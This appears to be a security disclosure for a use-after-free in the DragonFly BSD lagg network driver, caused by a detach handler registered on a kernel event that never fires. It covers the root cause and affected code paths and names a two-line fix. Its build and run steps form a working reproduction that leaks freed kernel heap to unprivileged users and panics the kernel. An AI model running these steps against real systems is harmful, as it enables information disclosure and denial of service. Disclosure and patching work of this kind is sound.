# DF-3344 — lagg port-detach handler registered on a never-fired event → persistent kernel UAF

## Summary

`sys/net/lagg/if_lagg.c:218-220` registers `lagg_port_ifdetach` on
**`ifnet_departure_event`**. That event does not exist anywhere else in the
DragonFly kernel: `if_detach()` (sys/net/if.c:958) fires **`ifnet_detach_event`**
(declared sys/net/if_var.h:724-725), and every other consumer — bridge
(sys/net/bridge/if_bridge.c:609), pf (sys/net/pf/pf_if.c:118), vlan
(sys/net/vlan/if_vlan.c:377), tun (sys/net/tun/if_tun.c:330) — registers on the
correct name. The lagg handler therefore NEVER runs (the FreeBSD heritage name
survived the port; DF renamed the event).

Consequence: destroying a member interface (`ifconfig tap0 destroy` while
`laggport tap0`) does not remove the lagg port. `lagg_port_destroy()` is the
only code that detaches a port, and nothing calls it on ifnet departure.
The lagg keeps a `struct lagg_port` whose `lp->lp_ifp` points into the freed
driver softc (for tap: `kfree(sc, M_TAP)` at sys/net/tap/if_tap.c:495 frees the
whole `tap_softc` with the ifnet embedded).

Every later lagg operation touches freed memory:

* **unprivileged** `SIOCGLAGG` (`ifconfig lagg0` as any user):
  `lagg_ioctl` → `lagg_port2req()` → `strlcpy(rp_portname, lp->lp_ifp->if_xname)`
  reads the freed heap and copies it to userspace (kernel heap disclosure /
  use-after-free read; when the chunk is reused the "port name" becomes
  whatever object now owns the memory — demonstrated below).
* unprivileged TX through the lagg: `lagg_start` → `sc_select_tx_port` →
  `lagg_link_active()` reads `lp->lp_ifp->if_link_state/if_flags` from freed
  memory, and on an "active" stale port dispatches a netmsg whose target
  `ifp` is freed (`lagg_start_dispatch` → `ifq_dispatch()` — UAF write into
  the freed ifnet's tx queue).
* privileged `SIOCSLAGG laggproto lacp`: `lagg_lacp_attach` →
  `lacp_port_create(dangling lp)` → `if_addmulti(freed ifp)` → calls the freed
  ifnet's stale `if_ioctl` → **kernel panic** (demonstrated: `Fatal trap 12`,
  `Stopped at tapifioctl+0x158`).
* privileged `ifconfig lagg0 destroy`: `lagg_port_destroy()` writes
  `if_type/if_ioctl/if_output/if_lagg` restores into freed memory (UAF write).

## Files

* `laggleak.c` — unprivileged SIOCGLAGG port-table dump (hex of every port name)
* `udptx.c` — unprivileged UDP flood via the lagg (tx-path trigger)
* `build.sh` / `run.sh` — exact commands
* `run.log` — full session capture (baseline → destroy → leak → aliasing → panic)
* `panic.txt` — serial-console panic capture
* `fix.diff` — the two-line event-name fix
* `VERDICT.md`, `manifest.json`, `verdict.json`

## Build (in guest)

    cc -O -o /tmp/laggleak laggleak.c -I/usr/src/sys
    cc -O -o /tmp/udptx   udptx.c

## Run (expected: leak + panic)

    # root: setup
    ifconfig tap0 create && ifconfig tap1 create && ifconfig lagg0 create
    ifconfig lagg0 laggproto failover laggport tap0 laggport tap1
    ifconfig lagg0 10.66.7.1 netmask 255.255.255.0 up
    ifconfig tap0 up && ifconfig tap1 up

    # unprivileged: baseline — ports tap0, tap1
    /tmp/laggleak lagg0

    # root: destroy a member — NO cleanup runs (the bug)
    ifconfig tap0 destroy

    # unprivileged: port[1] STILL 'tap0' — read from freed tap_softc
    /tmp/laggleak lagg0

    # root: force slab reuse
    ifconfig tap2 create; ifconfig tap3 create; ifconfig tap4 create

    # unprivileged: port[1] now reads 'tap2' — dangling pointer into reused heap
    /tmp/laggleak lagg0

    # unprivileged tx through the dangling primary (survives here: stale flags
    # read inactive, failover falls through to the live port)
    /tmp/udptx 10.66.7.2 3000

    # root: free the chunk again, then switch protocol → PANIC
    ifconfig tap2 destroy
    ifconfig lagg0 laggproto lacp

Success criterion (met): stale member visible to an unprivileged user after
destroy; member name mutates with heap reuse; `Fatal trap 12` page fault in
`tapifioctl` reached via the dangling port; guest down at DDB.
